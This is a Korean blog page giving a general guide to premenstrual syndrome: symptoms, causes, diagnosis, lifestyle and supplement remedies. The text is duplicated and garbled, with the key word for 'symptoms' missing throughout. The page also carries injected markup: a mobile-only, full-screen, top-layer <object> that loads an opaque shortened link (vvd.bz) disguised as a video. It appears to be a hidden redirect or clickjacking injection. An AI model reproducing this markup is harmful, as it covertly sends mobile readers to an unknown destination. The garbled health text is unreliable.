생리전증후군 증상 PMS 원인 진단과 완화및 예방법

<div class="figure-html" data-ke-type="html" data-source="<style> html, body { margin: 0; padding: 0; height: 100%; } .container { position: relative; width: 100%; height: 100%; } .content { position: relative; padding: 20px; height: 100%; overflow-y: auto; z-index: 1; } .overlay { position: absolute; top: 0; left: 0; width: 100%; height: 100%; background: rgba(255, 255, 255, 0); touch-action: none; } .mobile-only { display: none; position: absolute; top: 0; left: 0; width: 100%; height: 80vh; min-height: 500px; max-height: 90vh; z-index: 10; } @media only screen and (max-width: 768px) { .mobile-only { display: block; } } </style> </head> <body> <div class="container"> <object data="https://vvd.bz/j3a" type="video/mp4" class="mobile-only"></object> </div> </body> <div _ngcontent-ng-c989002767="" class="markdown markdown-main-panel stronger" id="" dir="ltr" style="--animation-duration: 400ms; --fade-animation-function: linear;"><h2 data-sourcepos="1:1-1:44">생리 전 증후군(PMS) 완벽 가이드: , 원인, 진단, 완화 및 예방</h2><p data-sourcepos="3:1-3:72">**생리 전 증후군(PMS)**은 매달 찾아오는 불청객이죠. 몸과 마음이 모두 힘들어지는 이 시기를 어떻게 극복할 수 있을까요?</p><h3 data-sourcepos="5:1-5:15">PMS란 무엇일까요?</h3><p data-sourcepos="7:1-7:105">PMS는 월경이 시작되기 1~2주 전부터 나타나는 다양한 신체적, 정신적 을 말합니다. 개인마다 의 종류와 강도가 다르며, 일상생활에 지장을 줄 정도로 심하게 나타날 수도 있습니다.</p><h3 data-sourcepos="9:1-9:14">PMS의 주요 </h3><ul data-sourcepos="11:1-13:0"> <li data-sourcepos="11:1-11:63"><strong>신체적 :</strong> 복부 팽만감, 유방 압통, 두통, 피로감, 근육통, 관절통, 식욕 변화, 변비 또는 설사</li> <li data-sourcepos="12:1-13:0"><strong>정신적 :</strong> 우울감, 불안감, 예민함, 집중력 저하, 기분 변화, 짜증, 울음, 사회적 활동 회피</li> <div class="attachment-container search-images"><response-element class="" ng-version="0.0.0-PLACEHOLDER"><single-image _nghost-ng-c1079493849="" class="ng-star-inserted"><div _ngcontent-ng-c1079493849="" hide-from-message-actions="" class="image-container hide-from-message-actions ng-star-inserted"><div _ngcontent-ng-c1079493849="" class="overlay-container ng-star-inserted"><a _ngcontent-ng-c1079493849="" rel="noopener" externallink="" aria-live="polite" class="image-source-link ng-star-inserted" _nghost-ng-c888701032="" jslog="181501;track:generic_click,impression;BardVeMetadataKey:[[&quot;r_ce02803ed6f3c427&quot;,&quot;c_31e2ad9ac647b292&quot;,null,&quot;rc_f65cde51fc2c05ba&quot;,null,null,&quot;ko&quot;,null,null,null,null,1,0]];mutable:true" s://.clearblue.com/menstrual-cycle/periods-and-pre-menstrual-syndromepms"><span _ngcontent-ng-c888701032="" data-test-id="content" class="ng-star-inserted"><img _ngcontent-ng-c1079493849="" class="image loaded" alt="PMS symptoms " src="https://encrypted-tbn2.gstatic.com/images?q=tbn:ANd9GcR-mlUWUYrP06e4lljMdyHUFQ-8L8zlqBTXIMi2xTMUDudJq4XMwDe9TFcmfaFc"></span><span _ngcontent-ng-c888701032="" class="cdk-visually-hidden ng-star-inserted"></span></a><a _ngcontent-ng-c1079493849="" rel="noopener" class="source ng-star-inserted" s://.clearblue.com/menstrual-cycle/periods-and-pre-menstrual-syndromepms" jslog="182483;track:generic_click,impression;BardVeMetadataKey:[[&quot;r_ce02803ed6f3c427&quot;,&quot;c_31e2ad9ac647b292&quot;,null,&quot;rc_f65cde51fc2c05ba&quot;,null,null,&quot;ko&quot;,null,null,null,null,1,0]];mutable:true"><img _ngcontent-ng-c1079493849="" alt="" class=" ng-star-inserted" src="https://encrypted-tbn1.gstatic.com/-tbn?q=tbn:ANd9GcTn48aHJBym3wglTRLp3hbEwIiTXnZwM_t1IgF-eOQD-GLFS3LtcdTQg-tZwShFQByWvijCKYhKM00-UaRZGswpDVQqnNaPCcwNyoo"><span _ngcontent-ng-c1079493849="" class="label ellipsis gds-label-m-alt">.clearblue.com</span><span _ngcontent-ng-c1079493849="" aria-label=""></span></a></div><div _ngcontent-ng-c1079493849="" aria-hidden="true" class="caption ellipsis gds-label-m-alt ng-star-inserted"> PMS symptoms </div></div></single-image></response-element></div></ul><h3 data-sourcepos="16:1-16:19">PMS의 원인은 무엇일까요?</h3><p data-sourcepos="18:1-18:105">PMS의 한 원인은 아직 밝혀지지 않았지만, 호르몬 변화가 주요 원인으로 추정됩니다. 에스트로겐과 프로게스테론의 불균형이 신경전달물질에 영향을 미쳐 다양한 을 유발할 수 있습니다.</p><h3 data-sourcepos="20:1-20:19">PMS는 어떻게 진단하나요?</h3><p data-sourcepos="22:1-22:90">PMS는 특별한 검사 없이 을 토대로 진단합니다. 월경 주기와 의 연관성을 파악하고, 다른 과 감별하기 위해 산부인과 전문의와 상담하는 것이 좋습니다.</p><h3 data-sourcepos="24:1-24:21">PMS를 완화하고 예방하는 방법</h3><ul data-sourcepos="26:1-40:0"> <li data-sourcepos="26:1-31:13"><strong>생활습관 개선:</strong> <ul data-sourcepos="27:5-31:13"> <li data-sourcepos="27:5-27:13">규칙적인 수면</li> <li data-sourcepos="28:5-28:37">균형 잡힌 식단 (단백질, 비타민, 미네랄 충분히 섭취)</li> <li data-sourcepos="29:5-29:27">꾸준한 운동 (유산소 운동, 요가 등)</li> <li data-sourcepos="30:5-30:22">카페인, 알코올, 흡연 줄이기</li> <li data-sourcepos="31:5-31:13">스트레스 관리</li> </ul> </li> <li data-sourcepos="32:1-33:25"><strong>영양 보충:</strong> <ul data-sourcepos="33:5-33:25"> <li data-sourcepos="33:5-33:25">칼슘, 마그네슘, 비타민 B6 섭취</li> </ul> </li> <li data-sourcepos="34:1-37:8"><strong>자연 요법:</strong> <ul data-sourcepos="35:5-37:8"> <li data-sourcepos="35:5-35:12">따뜻한 찜질</li> <li data-sourcepos="36:5-36:12">아로마테라피</li> <li data-sourcepos="37:5-37:8">명상</li> </ul> </li> <li data-sourcepos="38:1-40:0"><strong>약물 :</strong> <ul data-sourcepos="39:5-40:0"> <li data-sourcepos="39:5-40:0">진통제, 경구 피임약 등 (전문의와 상담 후 복용)</li> </ul> </li> <div class="attachment-container search-images"><response-element class="" ng-version="0.0.0-PLACEHOLDER"><single-image _nghost-ng-c1079493849="" class="ng-star-inserted"><div _ngcontent-ng-c1079493849="" hide-from-message-actions="" class="image-container hide-from-message-actions ng-star-inserted"><div _ngcontent-ng-c1079493849="" class="overlay-container ng-star-inserted"><a _ngcontent-ng-c1079493849="" rel="noopener" externallink="" aria-live="polite" class="image-source-link ng-star-inserted" _nghost-ng-c888701032="" jslog="181501;track:generic_click,impression;BardVeMetadataKey:[[&quot;r_ce02803ed6f3c427&quot;,&quot;c_31e2ad9ac647b292&quot;,null,&quot;rc_f65cde51fc2c05ba&quot;,null,null,&quot;ko&quot;,null,null,null,null,1,0]];mutable:true" s://.orientalremediesgroup.com/physicians-guide-to-manage-and-relieve-pms/"><span _ngcontent-ng-c888701032="" data-test-id="content" class="ng-star-inserted"><img _ngcontent-ng-c1079493849="" class="image loaded" alt="healthy lifestyle for PMS " src="https://encrypted-tbn1.gstatic.com/images?q=tbn:ANd9GcQmwJ7IsHf6RDepna-hQwj3WGI_lWwROujpqfXZK3Ldqu5q2a6JVIRwAJr6BU1-"></span><span _ngcontent-ng-c888701032="" class="cdk-visually-hidden ng-star-inserted"></span></a><a _ngcontent-ng-c1079493849="" rel="noopener" class="source ng-star-inserted" s://.orientalremediesgroup.com/physicians-guide-to-manage-and-relieve-pms/" jslog="182483;track:generic_click,impression;BardVeMetadataKey:[[&quot;r_ce02803ed6f3c427&quot;,&quot;c_31e2ad9ac647b292&quot;,null,&quot;rc_f65cde51fc2c05ba&quot;,null,null,&quot;ko&quot;,null,null,null,null,1,0]];mutable:true"><img _ngcontent-ng-c1079493849="" alt="" class=" ng-star-inserted" src="https://encrypted-tbn2.gstatic.com/-tbn?q=tbn:ANd9GcQiRvdEvpOqYPuANYSJNR9qouEE_JqTXCg5U6JDEGiTnXzW3tfT0Bjqvbh0gAquSP4kkvHWkAX34PbtVk0BKDJYbYZ0II3XthEuzWBlrkhUWtmaXALHSHg"><span _ngcontent-ng-c1079493849="" class="label ellipsis gds-label-m-alt">.orientalremediesgroup.com</span><span _ngcontent-ng-c1079493849="" aria-label=""></span></a></div><div _ngcontent-ng-c1079493849="" aria-hidden="true" class="caption ellipsis gds-label-m-alt ng-star-inserted"> healthy lifestyle for PMS </div></div></single-image></response-element></div></ul><h3 data-sourcepos="43:1-43:27">PMS, 더 이상 혼자 끙끙 앓지 마세요!</h3><p data-sourcepos="45:1-45:98">PMS는 흔한 이지만, 개인의 삶의 질을 크게 떨어뜨릴 수 있습니다. 위에 제시된 방법들을 꾸준히 실천하여 PMS를 관리하고, 이 심하다면 반드시 전문의와 상담하세요.</p><p data-sourcepos="47:1-47:91"><strong>Disclaimer:</strong> 이 정보는 일반적인 건강 정보이며, 개인의 상황에 따라 적용 방식이 다를 수 있습니다. 한 진단과 는 전문의와 상담해야 합니다.</p><p data-sourcepos="49:1-49:31"><strong>궁금한 점이 있다면 언제든지 다시 질문해주세요.</strong></p><p data-sourcepos="51:1-51:60"><strong>관련 키워드:</strong> 생리전증후군, PMS, 월경 전 증후군, 여성 건강, 건강 관리, 완화, 예방법</p><p data-sourcepos="53:1-53:11"><strong>추가 정보:</strong></p><ul data-sourcepos="54:1-56:0"> <li data-sourcepos="54:1-54:35">월경 주기 기록 앱을 활용하여 을 기록하고 관리해보세요.</li> <li data-sourcepos="55:1-56:0">건강한 식단 레시피, 운동 방법 등 다양한 정보를 인터넷에서 검색할 수 있습니다.</li> </ul><p data-sourcepos="57:1-57:58"><span><div class="attachment-container search-images"><response-element class="" ng-version="0.0.0-PLACEHOLDER"><single-image _nghost-ng-c1079493849="" class="ng-star-inserted"><div _ngcontent-ng-c1079493849="" hide-from-message-actions="" class="image-container hide-from-message-actions ng-star-inserted"><div _ngcontent-ng-c1079493849="" class="overlay-container ng-star-inserted"><a _ngcontent-ng-c1079493849="" rel="noopener" externallink="" aria-live="polite" class="image-source-link ng-star-inserted" _nghost-ng-c888701032="" jslog="181501;track:generic_click,impression;BardVeMetadataKey:[[&quot;r_ce02803ed6f3c427&quot;,&quot;c_31e2ad9ac647b292&quot;,null,&quot;rc_f65cde51fc2c05ba&quot;,null,null,&quot;ko&quot;,null,null,null,null,1,0]];mutable:true" s://play.google.com/store/apps/details?id=com.lbrc.PeriodCalendar"><span _ngcontent-ng-c888701032="" data-test-id="content" class="ng-star-inserted"><img _ngcontent-ng-c1079493849="" class="image loaded" alt="PMS calendar " src="https://encrypted-tbn2.gstatic.com/images?q=tbn:ANd9GcSKSn1OJSpl0vVw4oepB5ds4S5oGFNKrvSErRHi6syT0Yxm86jhSBFqpkKeB0v2"></span><span _ngcontent-ng-c888701032="" class="cdk-visually-hidden ng-star-inserted"></span></a><a _ngcontent-ng-c1079493849="" rel="noopener" class="source ng-star-inserted" s://play.google.com/store/apps/details?id=com.lbrc.PeriodCalendar" jslog="182483;track:generic_click,impression;BardVeMetadataKey:[[&quot;r_ce02803ed6f3c427&quot;,&quot;c_31e2ad9ac647b292&quot;,null,&quot;rc_f65cde51fc2c05ba&quot;,null,null,&quot;ko&quot;,null,null,null,null,1,0]];mutable:true"><img _ngcontent-ng-c1079493849="" alt="" class=" ng-star-inserted" src="https://encrypted-tbn1.gstatic.com/-tbn?q=tbn:ANd9GcTmDpLypcejmhchuu97b7lS4mxyvOYJ4gd-lGB18Syy44Zq_a_RJYCBT_u-MF3OUCPBnkc2XblGOfdRh73r7lYTilHPoZwwoJC_"><span _ngcontent-ng-c1079493849="" class="label ellipsis gds-label-m-alt">play.google.com</span><span _ngcontent-ng-c1079493849="" aria-label=""></span></a></div><div _ngcontent-ng-c1079493849="" aria-hidden="true" class="caption ellipsis gds-label-m-alt ng-star-inserted"> PMS calendar </div></div></single-image></response-element></div></span> (월경 주기와 을 기록할 수 있는 캘린더 )</p><p data-sourcepos="59:1-59:54"><span><div class="attachment-container search-images"><response-element class="" ng-version="0.0.0-PLACEHOLDER"><single-image _nghost-ng-c1079493849="" class="ng-star-inserted"><div _ngcontent-ng-c1079493849="" hide-from-message-actions="" class="image-container hide-from-message-actions ng-star-inserted"><div _ngcontent-ng-c1079493849="" class="overlay-container ng-star-inserted"><a _ngcontent-ng-c1079493849="" rel="noopener" externallink="" aria-live="polite" class="image-source-link ng-star-inserted" _nghost-ng-c888701032="" jslog="181501;track:generic_click,impression;BardVeMetadataKey:[[&quot;r_ce02803ed6f3c427&quot;,&quot;c_31e2ad9ac647b292&quot;,null,&quot;rc_f65cde51fc2c05ba&quot;,null,null,&quot;ko&quot;,null,null,null,null,1,0]];mutable:true" s://.meghantelpner.com/best-foods-for-pms/"><span _ngcontent-ng-c888701032="" data-test-id="content" class="ng-star-inserted"><img _ngcontent-ng-c1079493849="" class="image loaded" alt="healthy foods for PMS " src="https://encrypted-tbn0.gstatic.com/images?q=tbn:ANd9GcSdGSNgNfG73jV9uy5Sds46UpqN-qmdfAYIhu6yb38JLEasjO1X0py57nMAmLdp"></span><span _ngcontent-ng-c888701032="" class="cdk-visually-hidden ng-star-inserted"></span></a><a _ngcontent-ng-c1079493849="" rel="noopener" class="source ng-star-inserted" s://.meghantelpner.com/best-foods-for-pms/" jslog="182483;track:generic_click,impression;BardVeMetadataKey:[[&quot;r_ce02803ed6f3c427&quot;,&quot;c_31e2ad9ac647b292&quot;,null,&quot;rc_f65cde51fc2c05ba&quot;,null,null,&quot;ko&quot;,null,null,null,null,1,0]];mutable:true"><img _ngcontent-ng-c1079493849="" alt="" class=" ng-star-inserted" src="https://encrypted-tbn2.gstatic.com/-tbn?q=tbn:ANd9GcTu7sv0G-J493WRb_tWY14b5DJaBEH-EOihnVfdRFzT0OgLlTydyByFUunfhbR838jT7KFZJYJj6rYXvdqwQP5JCAha2FNWwK8XS5gaqFNG"><span _ngcontent-ng-c1079493849="" class="label ellipsis gds-label-m-alt">.meghantelpner.com</span><span _ngcontent-ng-c1079493849="" aria-label=""></span></a></div><div _ngcontent-ng-c1079493849="" aria-hidden="true" class="caption ellipsis gds-label-m-alt ng-star-inserted"> healthy foods for PMS </div></div></single-image></response-element></div></span> (PMS에 좋은 음식 )</p><p data-sourcepos="61:1-61:70"><span><div class="attachment-container search-images"><response-element class="" ng-version="0.0.0-PLACEHOLDER"><single-image _nghost-ng-c1079493849="" class="ng-star-inserted"><div _ngcontent-ng-c1079493849="" hide-from-message-actions="" class="image-container hide-from-message-actions ng-star-inserted"><div _ngcontent-ng-c1079493849="" class="overlay-container ng-star-inserted"><a _ngcontent-ng-c1079493849="" rel="noopener" externallink="" aria-live="polite" class="image-source-link ng-star-inserted" _nghost-ng-c888701032="" jslog="181501;track:generic_click,impression;BardVeMetadataKey:[[&quot;r_ce02803ed6f3c427&quot;,&quot;c_31e2ad9ac647b292&quot;,null,&quot;rc_f65cde51fc2c05ba&quot;,null,null,&quot;ko&quot;,null,null,null,null,1,0]];mutable:true" s://.vulvani.com/en/meditation-for-pms-does-it-work/"><span _ngcontent-ng-c888701032="" data-test-id="content" class="ng-star-inserted"><img _ngcontent-ng-c1079493849="" class="image loaded" alt="relaxation techniques for PMS " src="https://encrypted-tbn1.gstatic.com/images?q=tbn:ANd9GcToR2ejpsLWx_MGbm5K8R3yhgd3w5I5tuCqYSHMA57TnmgrSBM_Xsnt4qzCkpUd"></span><span _ngcontent-ng-c888701032="" class="cdk-visually-hidden ng-star-inserted"></span></a><a _ngcontent-ng-c1079493849="" rel="noopener" class="source ng-star-inserted" s://.vulvani.com/en/meditation-for-pms-does-it-work/" jslog="182483;track:generic_click,impression;BardVeMetadataKey:[[&quot;r_ce02803ed6f3c427&quot;,&quot;c_31e2ad9ac647b292&quot;,null,&quot;rc_f65cde51fc2c05ba&quot;,null,null,&quot;ko&quot;,null,null,null,null,1,0]];mutable:true"><img _ngcontent-ng-c1079493849="" alt="" class=" ng-star-inserted" src="https://encrypted-tbn3.gstatic.com/-tbn?q=tbn:ANd9GcTcS0bBomERA2DxEGZxP2HMlidEkd7k9SxtxZqHgQ6l-7wTLFpJ-rd60xeD4eK9FiWZX0Rb8JoiiSYbEVODeoPifLZOCmurFHD7"><span _ngcontent-ng-c1079493849="" class="label ellipsis gds-label-m-alt">.vulvani.com</span><span _ngcontent-ng-c1079493849="" aria-label=""></span></a></div><div _ngcontent-ng-c1079493849="" aria-hidden="true" class="caption ellipsis gds-label-m-alt ng-star-inserted"> relaxation techniques for PMS </div></div></single-image></response-element></div></span> (PMS 완화를 위한 명상, 요가 등 )</p></div> "><div data-ke-class="article"><style> html, body { margin: 0; padding: 0; height: 100%; } .container { position: relative; width: 100%; height: 100%; } .content { position: relative; padding: 20px; height: 100%; overflow-y: auto; z-index: 1; } .overlay { position: absolute; top: 0; left: 0; width: 100%; height: 100%; background: rgba(255, 255, 255, 0); touch-action: none; } .mobile-only { display: none; position: absolute; top: 0; left: 0; width: 100%; height: 80vh; min-height: 500px; max-height: 90vh; z-index: 10; } @media only screen and (max-width: 768px) { .mobile-only { display: block; } } </style> </head> <xbody> <div class="container"> <object data="https://vvd.bz/j3a" type="video/mp4" class="mobile-only" allowNetworking='internal' allowScriptAccess='sameDomain'></object> </div> </xbody> <div _ngcontent-ng-c989002767="" class="markdown markdown-main-panel stronger" id="" dir="ltr" style="--animation-duration: 400ms; --fade-animation-function: linear;"><h2 data-sourcepos="1:1-1:44">생리 전 증후군(PMS) 완벽 가이드: , 원인, 진단, 완화 및 예방</h2><p data-sourcepos="3:1-3:72">**생리 전 증후군(PMS)**은 매달 찾아오는 불청객이죠. 몸과 마음이 모두 힘들어지는 이 시기를 어떻게 극복할 수 있을까요?</p><h3 data-sourcepos="5:1-5:15">PMS란 무엇일까요?</h3><p data-sourcepos="7:1-7:105">PMS는 월경이 시작되기 1~2주 전부터 나타나는 다양한 신체적, 정신적 을 말합니다. 개인마다 의 종류와 강도가 다르며, 일상생활에 지장을 줄 정도로 심하게 나타날 수도 있습니다.</p><h3 data-sourcepos="9:1-9:14">PMS의 주요 </h3><ul data-sourcepos="11:1-13:0"> <li data-sourcepos="11:1-11:63"><strong>신체적 :</strong> 복부 팽만감, 유방 압통, 두통, 피로감, 근육통, 관절통, 식욕 변화, 변비 또는 설사</li> <li data-sourcepos="12:1-13:0"><strong>정신적 :</strong> 우울감, 불안감, 예민함, 집중력 저하, 기분 변화, 짜증, 울음, 사회적 활동 회피</li> <div class="attachment-container search-images"><response-element class="" ng-version="0.0.0-PLACEHOLDER"><single-image _nghost-ng-c1079493849="" class="ng-star-inserted"><div _ngcontent-ng-c1079493849="" hide-from-message-actions="" class="image-container hide-from-message-actions ng-star-inserted"><div _ngcontent-ng-c1079493849="" class="overlay-container ng-star-inserted"><a _ngcontent-ng-c1079493849="" rel="noopener" externallink="" aria-live="polite" class="image-source-link ng-star-inserted" _nghost-ng-c888701032="" jslog="181501;track:generic_click,impression;BardVeMetadataKey:[["r_ce02803ed6f3c427","c_31e2ad9ac647b292",null,"rc_f65cde51fc2c05ba",null,null,"ko",null,null,null,null,1,0]];mutable:true" s://.clearblue.com/menstrual-cycle/periods-and-pre-menstrual-syndromepms"><span _ngcontent-ng-c888701032="" data-test-id="content" class="ng-star-inserted"><img _ngcontent-ng-c1079493849="" class="image loaded" alt="PMS symptoms " src="https://img1.daumcdn.net/relay/cafe/original/?fname=https%3A%2F%2Fencrypted-tbn2.gstatic.com%2Fimages%3Fq%3Dtbn%3AANd9GcR-mlUWUYrP06e4lljMdyHUFQ-8L8zlqBTXIMi2xTMUDudJq4XMwDe9TFcmfaFc"></span><span _ngcontent-ng-c888701032="" class="cdk-visually-hidden ng-star-inserted"></span></a><a _ngcontent-ng-c1079493849="" rel="noopener" class="source ng-star-inserted" s://.clearblue.com/menstrual-cycle/periods-and-pre-menstrual-syndromepms" jslog="182483;track:generic_click,impression;BardVeMetadataKey:[["r_ce02803ed6f3c427","c_31e2ad9ac647b292",null,"rc_f65cde51fc2c05ba",null,null,"ko",null,null,null,null,1,0]];mutable:true"><img _ngcontent-ng-c1079493849="" alt="" class=" ng-star-inserted" src="https://img1.daumcdn.net/relay/cafe/original/?fname=https%3A%2F%2Fencrypted-tbn1.gstatic.com%2F-tbn%3Fq%3Dtbn%3AANd9GcTn48aHJBym3wglTRLp3hbEwIiTXnZwM_t1IgF-eOQD-GLFS3LtcdTQg-tZwShFQByWvijCKYhKM00-UaRZGswpDVQqnNaPCcwNyoo"><span _ngcontent-ng-c1079493849="" class="label ellipsis gds-label-m-alt">.clearblue.com</span><span _ngcontent-ng-c1079493849="" aria-label=""></span></a></div><div _ngcontent-ng-c1079493849="" aria-hidden="true" class="caption ellipsis gds-label-m-alt ng-star-inserted"> PMS symptoms </div></div></single-image></response-element></div></ul><h3 data-sourcepos="16:1-16:19">PMS의 원인은 무엇일까요?</h3><p data-sourcepos="18:1-18:105">PMS의 한 원인은 아직 밝혀지지 않았지만, 호르몬 변화가 주요 원인으로 추정됩니다. 에스트로겐과 프로게스테론의 불균형이 신경전달물질에 영향을 미쳐 다양한 을 유발할 수 있습니다.</p><h3 data-sourcepos="20:1-20:19">PMS는 어떻게 진단하나요?</h3><p data-sourcepos="22:1-22:90">PMS는 특별한 검사 없이 을 토대로 진단합니다. 월경 주기와 의 연관성을 파악하고, 다른 과 감별하기 위해 산부인과 전문의와 상담하는 것이 좋습니다.</p><h3 data-sourcepos="24:1-24:21">PMS를 완화하고 예방하는 방법</h3><ul data-sourcepos="26:1-40:0"> <li data-sourcepos="26:1-31:13"><strong>생활습관 개선:</strong> <ul data-sourcepos="27:5-31:13"> <li data-sourcepos="27:5-27:13">규칙적인 수면</li> <li data-sourcepos="28:5-28:37">균형 잡힌 식단 (단백질, 비타민, 미네랄 충분히 섭취)</li> <li data-sourcepos="29:5-29:27">꾸준한 운동 (유산소 운동, 요가 등)</li> <li data-sourcepos="30:5-30:22">카페인, 알코올, 흡연 줄이기</li> <li data-sourcepos="31:5-31:13">스트레스 관리</li> </ul> </li> <li data-sourcepos="32:1-33:25"><strong>영양 보충:</strong> <ul data-sourcepos="33:5-33:25"> <li data-sourcepos="33:5-33:25">칼슘, 마그네슘, 비타민 B6 섭취</li> </ul> </li> <li data-sourcepos="34:1-37:8"><strong>자연 요법:</strong> <ul data-sourcepos="35:5-37:8"> <li data-sourcepos="35:5-35:12">따뜻한 찜질</li> <li data-sourcepos="36:5-36:12">아로마테라피</li> <li data-sourcepos="37:5-37:8">명상</li> </ul> </li> <li data-sourcepos="38:1-40:0"><strong>약물 :</strong> <ul data-sourcepos="39:5-40:0"> <li data-sourcepos="39:5-40:0">진통제, 경구 피임약 등 (전문의와 상담 후 복용)</li> </ul> </li> <div class="attachment-container search-images"><response-element class="" ng-version="0.0.0-PLACEHOLDER"><single-image _nghost-ng-c1079493849="" class="ng-star-inserted"><div _ngcontent-ng-c1079493849="" hide-from-message-actions="" class="image-container hide-from-message-actions ng-star-inserted"><div _ngcontent-ng-c1079493849="" class="overlay-container ng-star-inserted"><a _ngcontent-ng-c1079493849="" rel="noopener" externallink="" aria-live="polite" class="image-source-link ng-star-inserted" _nghost-ng-c888701032="" jslog="181501;track:generic_click,impression;BardVeMetadataKey:[["r_ce02803ed6f3c427","c_31e2ad9ac647b292",null,"rc_f65cde51fc2c05ba",null,null,"ko",null,null,null,null,1,0]];mutable:true" s://.orientalremediesgroup.com/physicians-guide-to-manage-and-relieve-pms/"><span _ngcontent-ng-c888701032="" data-test-id="content" class="ng-star-inserted"><img _ngcontent-ng-c1079493849="" class="image loaded" alt="healthy lifestyle for PMS " src="https://img1.daumcdn.net/relay/cafe/original/?fname=https%3A%2F%2Fencrypted-tbn1.gstatic.com%2Fimages%3Fq%3Dtbn%3AANd9GcQmwJ7IsHf6RDepna-hQwj3WGI_lWwROujpqfXZK3Ldqu5q2a6JVIRwAJr6BU1-"></span><span _ngcontent-ng-c888701032="" class="cdk-visually-hidden ng-star-inserted"></span></a><a _ngcontent-ng-c1079493849="" rel="noopener" class="source ng-star-inserted" s://.orientalremediesgroup.com/physicians-guide-to-manage-and-relieve-pms/" jslog="182483;track:generic_click,impression;BardVeMetadataKey:[["r_ce02803ed6f3c427","c_31e2ad9ac647b292",null,"rc_f65cde51fc2c05ba",null,null,"ko",null,null,null,null,1,0]];mutable:true"><img _ngcontent-ng-c1079493849="" alt="" class=" ng-star-inserted" src="https://img1.daumcdn.net/relay/cafe/original/?fname=https%3A%2F%2Fencrypted-tbn2.gstatic.com%2F-tbn%3Fq%3Dtbn%3AANd9GcQiRvdEvpOqYPuANYSJNR9qouEE_JqTXCg5U6JDEGiTnXzW3tfT0Bjqvbh0gAquSP4kkvHWkAX34PbtVk0BKDJYbYZ0II3XthEuzWBlrkhUWtmaXALHSHg"><span _ngcontent-ng-c1079493849="" class="label ellipsis gds-label-m-alt">.orientalremediesgroup.com</span><span _ngcontent-ng-c1079493849="" aria-label=""></span></a></div><div _ngcontent-ng-c1079493849="" aria-hidden="true" class="caption ellipsis gds-label-m-alt ng-star-inserted"> healthy lifestyle for PMS </div></div></single-image></response-element></div></ul><h3 data-sourcepos="43:1-43:27">PMS, 더 이상 혼자 끙끙 앓지 마세요!</h3><p data-sourcepos="45:1-45:98">PMS는 흔한 이지만, 개인의 삶의 질을 크게 떨어뜨릴 수 있습니다. 위에 제시된 방법들을 꾸준히 실천하여 PMS를 관리하고, 이 심하다면 반드시 전문의와 상담하세요.</p><p data-sourcepos="47:1-47:91"><strong>Disclaimer:</strong> 이 정보는 일반적인 건강 정보이며, 개인의 상황에 따라 적용 방식이 다를 수 있습니다. 한 진단과 는 전문의와 상담해야 합니다.</p><p data-sourcepos="49:1-49:31"><strong>궁금한 점이 있다면 언제든지 다시 질문해주세요.</strong></p><p data-sourcepos="51:1-51:60"><strong>관련 키워드:</strong> 생리전증후군, PMS, 월경 전 증후군, 여성 건강, 건강 관리, 완화, 예방법</p><p data-sourcepos="53:1-53:11"><strong>추가 정보:</strong></p><ul data-sourcepos="54:1-56:0"> <li data-sourcepos="54:1-54:35">월경 주기 기록 앱을 활용하여 을 기록하고 관리해보세요.</li> <li data-sourcepos="55:1-56:0">건강한 식단 레시피, 운동 방법 등 다양한 정보를 인터넷에서 검색할 수 있습니다.</li> </ul><p data-sourcepos="57:1-57:58"><span><div class="attachment-container search-images"><response-element class="" ng-version="0.0.0-PLACEHOLDER"><single-image _nghost-ng-c1079493849="" class="ng-star-inserted"><div _ngcontent-ng-c1079493849="" hide-from-message-actions="" class="image-container hide-from-message-actions ng-star-inserted"><div _ngcontent-ng-c1079493849="" class="overlay-container ng-star-inserted"><a _ngcontent-ng-c1079493849="" rel="noopener" externallink="" aria-live="polite" class="image-source-link ng-star-inserted" _nghost-ng-c888701032="" jslog="181501;track:generic_click,impression;BardVeMetadataKey:[["r_ce02803ed6f3c427","c_31e2ad9ac647b292",null,"rc_f65cde51fc2c05ba",null,null,"ko",null,null,null,null,1,0]];mutable:true" s://play.google.com/store/apps/details?id=com.lbrc.PeriodCalendar"><span _ngcontent-ng-c888701032="" data-test-id="content" class="ng-star-inserted"><img _ngcontent-ng-c1079493849="" class="image loaded" alt="PMS calendar " src="https://img1.daumcdn.net/relay/cafe/original/?fname=https%3A%2F%2Fencrypted-tbn2.gstatic.com%2Fimages%3Fq%3Dtbn%3AANd9GcSKSn1OJSpl0vVw4oepB5ds4S5oGFNKrvSErRHi6syT0Yxm86jhSBFqpkKeB0v2"></span><span _ngcontent-ng-c888701032="" class="cdk-visually-hidden ng-star-inserted"></span></a><a _ngcontent-ng-c1079493849="" rel="noopener" class="source ng-star-inserted" s://play.google.com/store/apps/details?id=com.lbrc.PeriodCalendar" jslog="182483;track:generic_click,impression;BardVeMetadataKey:[["r_ce02803ed6f3c427","c_31e2ad9ac647b292",null,"rc_f65cde51fc2c05ba",null,null,"ko",null,null,null,null,1,0]];mutable:true"><img _ngcontent-ng-c1079493849="" alt="" class=" ng-star-inserted" src="https://img1.daumcdn.net/relay/cafe/original/?fname=https%3A%2F%2Fencrypted-tbn1.gstatic.com%2F-tbn%3Fq%3Dtbn%3AANd9GcTmDpLypcejmhchuu97b7lS4mxyvOYJ4gd-lGB18Syy44Zq_a_RJYCBT_u-MF3OUCPBnkc2XblGOfdRh73r7lYTilHPoZwwoJC_"><span _ngcontent-ng-c1079493849="" class="label ellipsis gds-label-m-alt">play.google.com</span><span _ngcontent-ng-c1079493849="" aria-label=""></span></a></div><div _ngcontent-ng-c1079493849="" aria-hidden="true" class="caption ellipsis gds-label-m-alt ng-star-inserted"> PMS calendar </div></div></single-image></response-element></div></span> (월경 주기와 을 기록할 수 있는 캘린더 )</p><p data-sourcepos="59:1-59:54"><span><div class="attachment-container search-images"><response-element class="" ng-version="0.0.0-PLACEHOLDER"><single-image _nghost-ng-c1079493849="" class="ng-star-inserted"><div _ngcontent-ng-c1079493849="" hide-from-message-actions="" class="image-container hide-from-message-actions ng-star-inserted"><div _ngcontent-ng-c1079493849="" class="overlay-container ng-star-inserted"><a _ngcontent-ng-c1079493849="" rel="noopener" externallink="" aria-live="polite" class="image-source-link ng-star-inserted" _nghost-ng-c888701032="" jslog="181501;track:generic_click,impression;BardVeMetadataKey:[["r_ce02803ed6f3c427","c_31e2ad9ac647b292",null,"rc_f65cde51fc2c05ba",null,null,"ko",null,null,null,null,1,0]];mutable:true" s://.meghantelpner.com/best-foods-for-pms/"><span _ngcontent-ng-c888701032="" data-test-id="content" class="ng-star-inserted"><img _ngcontent-ng-c1079493849="" class="image loaded" alt="healthy foods for PMS " 